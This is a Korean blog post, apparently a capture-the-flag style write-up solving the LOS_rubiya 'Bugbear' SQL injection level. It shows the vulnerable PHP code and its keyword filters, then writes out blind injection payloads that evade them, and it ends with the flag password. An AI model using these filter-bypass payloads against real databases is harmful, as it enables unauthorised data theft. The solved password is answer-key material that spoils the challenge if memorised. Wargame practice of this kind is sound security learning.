vared
vared - Blog
vared
전체 방문자
오늘
어제
  • 분류 전체보기 (138)
    • Study (0)
    • Project (0)
    • Paper Review (0)
    • Tool (0)
    • WriteUp (124)
      • Root-me.org (44)
      • LOS_rubiya (32)
      • Webhacking.kr (21)
      • DreamHack (9)
      • XCZ.kr (8)
      • HackCTF (10)
    • Miscellaneous (0)
    • Forensic-CheatSheet (10)

블로그 메뉴

  • Category

공지사항

  • Forensic-CheatSheet 오픈

인기 글

태그

  • Windows Artifact
  • forensic artifacts
  • forensic-cheatsheet
  • ssd
  • Thumbcache
  • webhacking.kr
  • digital-forensics
  • Los
  • Digital-Forensic
  • trim
  • shellbag
  • Artifacts
  • File Execution
  • sql injection
  • iconcahce
  • shellbag forensics
  • JavaScript
  • Digital Forensic
  • LNK FIile

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
vared

vared - Blog

WriteUp/LOS_rubiya

LOS_rubiya : Bugbear

2020. 8. 3. 10:16
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>

<필터링 내용>

no : prob ) . ()     //    ' substr ascii = or and 공백 like 0x

pw : '

 

'를 못쓰니까 no 변수에 injection 해줘야 할듯

길이부터 찾아봐야지.

 

일단  test용으로 guest로 로그인부터 해보자.

?no=1%7C%7C1>0%23

이제 값 자체를 구해볼 건데 역시 이번에도 지난번에 쓰던 파이썬 파일에서 query 부분만 바꿔서 사용할 예정이다.

 

길이 query

?no=0%7C%7Cid/**/in(0b0110000101100100011011010110100101101110)%26%26length(pw)>7

?no=0%7C%7Cid/**/in(0b0110000101100100011011010110100101101110)%26%26length(hex(pw))>7

길이는 역시나 8이다.

hex 로는 16

 

문자찾는 코드를 보자

?no=0%7C%7Cid/**/in(0b0110000101100100011011010110100101101110)%26%26mid(hex(pw),1,1)<___%23

 

pw : 52dc3??1 어딘가가 잘못된거같은데,,,,,

? 가 왜있지

부등호 바꿔서 짜보니까

3532646333393931 -> 52dc3991 이렇게 나온다.

 

 

52dc3991 

저작자표시 (새창열림)

'WriteUp > LOS_rubiya' 카테고리의 다른 글

LOS-rubiya : Assassin  (0) 2020.08.03
LOS_rubiya : Giant  (0) 2020.08.03
LOS -rubiya : Golem  (0) 2020.08.03
LOS -rubiya : Mummy  (0) 2020.07.12
LOS -rubiya : Incubus  (0) 2020.05.22
    'WriteUp/LOS_rubiya' 카테고리의 다른 글
    • LOS-rubiya : Assassin
    • LOS_rubiya : Giant
    • LOS -rubiya : Golem
    • LOS -rubiya : Mummy
    vared
    vared

    티스토리툴바